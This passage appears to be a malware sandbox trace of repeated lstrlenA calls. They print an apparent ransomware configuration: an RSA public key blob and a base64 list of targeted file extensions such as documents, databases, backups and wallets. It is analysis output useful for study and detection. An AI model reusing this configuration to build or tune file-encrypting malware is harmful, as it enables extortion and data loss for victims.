(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi